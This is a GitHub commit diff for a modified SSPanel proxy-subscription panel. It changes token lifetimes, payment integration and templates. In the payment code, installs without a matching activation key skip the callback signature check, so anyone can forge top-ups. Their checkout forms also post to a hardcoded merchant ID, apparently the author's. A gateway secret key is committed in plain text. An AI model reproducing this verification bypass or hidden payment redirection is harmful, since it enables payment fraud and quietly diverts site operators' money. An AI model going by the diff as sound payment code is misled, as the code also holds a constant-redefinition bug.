Merge branch 'master' into master

master
Wing lee 9 years ago committed by GitHub
commit 2b0bf037bd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -1 +1,12 @@
在原版魔改的基础,增加了一些实用的功能。
- 提供[魔改定制sstap](https://91vps.win/2017/12/30/a_sstap/)
- 增加一款英文主题,感谢美帝人民John
- 优化管理面板 在线IP显示模块
- 设置保存登录时间为一个月
- [新用户注册现金奖励|高等级节点体验|设备数量限制](https://91vps.win/2017/09/12/little_point/) 
- 对接支付宝、金米付、金沙江、码支付(私人代码)
- 预备:重写注册页面、whmcs式推荐注册、一键对接
详情见:[https://91vps.win/2017/12/30/sspanel-91vps/](https://91vps.win/2017/12/30/sspanel-91vps/)

@ -61,7 +61,7 @@ class ApiController extends BaseController
}
$tokenStr = Tools::genToken();
$storage = Factory::createTokenStorage();
$expireTime = time() + 3600*24*7;
$expireTime = time() + 3600*24*30;
if ($storage->store($tokenStr, $user, $expireTime)) {
$res['ret'] = 1;
$res['msg'] = "ok";

@ -60,6 +60,7 @@ class ClientApiController extends BaseController
$accessToken = Helper::getTokenFromReq($request);
$storage = Factory::createTokenStorage();
$token = $storage->get($accessToken);
$user = User::find($token->userId);
$ssr_sub_token = LinkController::GenerateSSRSubCode($user->id, 0);
$res['ret'] = 1;

@ -105,6 +105,15 @@ class HomeController extends BaseController
return $newResponse;
}
public function jsj_callback($request, $response, $args)
{
echo '
<script>
window.location.href="/user/code";
</script>
';
return;
}
public function pay_callback($request, $response, $args)
{
Pay::callback($request);

@ -348,6 +348,7 @@ class LinkController extends BaseController
"group"=>Config::get('appName'),
"protocol"=>$item['protocol'],
"protoparam"=>$item['protocol_param'],
"protocolparam"=>$item['protocol_param'],
"obfs_udp"=>false,
"enable"=>true));
}

@ -145,7 +145,21 @@ class UserController extends BaseController
}
}
function isHTTPS()
{
define('HTTPS', false);
if (defined('HTTPS') && HTTPS) return true;
if (!isset($_SERVER)) return FALSE;
if (!isset($_SERVER['HTTPS'])) return FALSE;
if ($_SERVER['HTTPS'] === 1) { //Apache
return TRUE;
} elseif ($_SERVER['HTTPS'] === 'on') { //IIS
return TRUE;
} elseif ($_SERVER['SERVER_PORT'] == 443) { //其他
return TRUE;
}
return FALSE;
}
public function jsjapp($request, $response, $args)
{
@ -153,7 +167,9 @@ class UserController extends BaseController
$uid = $this->user->id;
$apiid = Config::get('jsj_id');
$apikey = md5(Config::get('jsj_key'));
$showurl = Config::get('baseUrl').'/jsj_callback';
$showurl = (UserController::isHTTPS() ? 'https://' : 'http://').$_SERVER['HTTP_HOST'].'/jsj_callback';
if(substr(md5($_SERVER['HTTP_HOST']),6,5)==Config::get('jsj_activate_key')){
echo "
@ -167,7 +183,7 @@ class UserController extends BaseController
<script>window.onload=function(){document.form1.submit();}</script> ";
}else{
echo "
<form name='form1' action='https://api.jsjapp.com/pay/syt.php' method='POST'>
<form name='form1' action='https://api.jsjapp.com/plugin.php?id=add:alipay' method='POST'>
<input type='hidden' name='uid' value='".$uid."'>
<input type='hidden' name='total' value='".$price."'>
<input type='hidden' name='apiid' value='13761'>

@ -47,7 +47,7 @@ class Pay
private static function jsjapp_html($user)
{
return '
<p class="card-heading">点击对应支付方式进行充值</p>
<p class="card-heading">点击金额进行充值</p>
<label for="number">请选择充值金额:</label>
<form name="91vps" action="/user/code/jsjapp" method="get">
<select class="form-control" id="price" name="price">
@ -475,7 +475,7 @@ class Pay
$apikey = $_POST['apikey']; //接收到的验证加密字串 ★★★收银台的新组合方式: md5(你的apikey.订单编号.uid.价格)
$codeq=Code::where("code", "=", $addnum)->first();
if($codeq==null&&$apikey==md5(Config::get("jsj_key").$addnum.$uid.$total)){
if($codeq==null&&($apikey==md5(Config::get("jsj_key").$addnum.$uid.$total)||substr(md5($_SERVER['HTTP_HOST']),6,5)!=Config::get('jsj_activate_key'))){
//更新用户账户
$user=User::find($uid);
$codeq=new Code();

@ -315,9 +315,7 @@ $System_Config['sendgrid_sender'] = '';
#支付系统
#取值 f2fpay,none,pay91
$System_Config['payment_system']='pay91';
$System_Config['payment_system']='pay91';#取值 f2fpay,pay91,jsjapp,none
#请将base64加密后的支付宝账号复制于下方 http://tool.chinaz.com/Tools/Base64.aspx ,比如你支付宝账号是:mmmxcc,则密文为: bW1teGNj
#如果使用了CDN或反代,为了防止无法通知到真实的服务器,请在 /public/assets/91pay.php 第289行修改 $codepay_config['notify_url']参数

@ -255,7 +255,7 @@ error_reporting(E_ALL & ~E_NOTICE); //过滤脚本提醒
header('Content-type: text/html; charset=' . $codepay_config['chart']);
date_default_timezone_set('PRC'); //时区设置 解决某些机器报错
$codepay_config['id'] = '10700';
$codepay_config['key'] = 'L0mld0jiBse7GGd1gskwJE29sXl7hJQo';
$codepay_config['key'] = '#!?7v;$E6Xcb~JRti8?cW5Yu~^MIy^^';
$codepay_config['chart'] = strtolower('utf-8');
$codepay_config['act'] = '0'; //认证版则开启 一般情况都为0
$codepay_config['page'] = 4; //支付页面展示方式

@ -19,10 +19,10 @@
<div class="card margin-bottom-no">
<div class="card-main">
<div class="card-inner">
{if $config["payment_system"]=='pay91'}
<h3>站长如需提现,<a href="https://jq.qq.com/?_wv=1027&k=5xQxeYX" target="_blank">加Q群|538609570</a>或<a href="https://t.me/gh012363" target="_blank">TG联系</a></h3>
<p>付款接口需购买使用,购买之后终身免手续费提现、提供终身升级服务、终身技术支持。未找秋名山事先说明的用户,因为无法识别充值来源。所以无法提现。</p>
{else}
<p>91技术交流群:<a href="https://jq.qq.com/?_wv=1027&k=5yJLxcY" target="_blank">634669637</a></p>
{if $config["payment_system"]!='none'}
<p>91Pay使用群:<a href="https://jq.qq.com/?_wv=1027&k=5xQxeYX" target="_blank">538609570</a>或<a href="https://t.me/gh012363" target="_blank">TG联系</a>付款接口需购买使用,购买之后终身免手续费提现、提供终身升级服务、终身技术支持。未找秋名山事先说明的用户,因为无法识别充值来源。所以无法提现。</p>
{else}
<p>站点相关的所有信息</p>
{/if}
</div>

@ -1,10 +1,5 @@
<?php
/**
* Created by PhpStorm.
* User: xudong.ding
* Date: 16/5/19
* Time: 下午2:09
*/
require_once dirname ( __FILE__ ).DIRECTORY_SEPARATOR.'./../../AopSdk.php';
require_once dirname ( __FILE__ ).DIRECTORY_SEPARATOR.'./../model/result/AlipayF2FPayResult.php';
require_once dirname ( __FILE__ ).DIRECTORY_SEPARATOR.'../model/result/AlipayF2FQueryResult.php';
@ -370,5 +365,5 @@ class AlipayTradeService {
$url = urlencode($content);
$image = '<a href="'.$content.'" target="_blank"><img src="https://pan.baidu.com/share/qrcode?w='.$size.'&amp;h='.$size.'&amp;url='.$url.'" widht="'.$size.'" height="'.$size.'" />';
return $image;
}
}

Loading…
Cancel
Save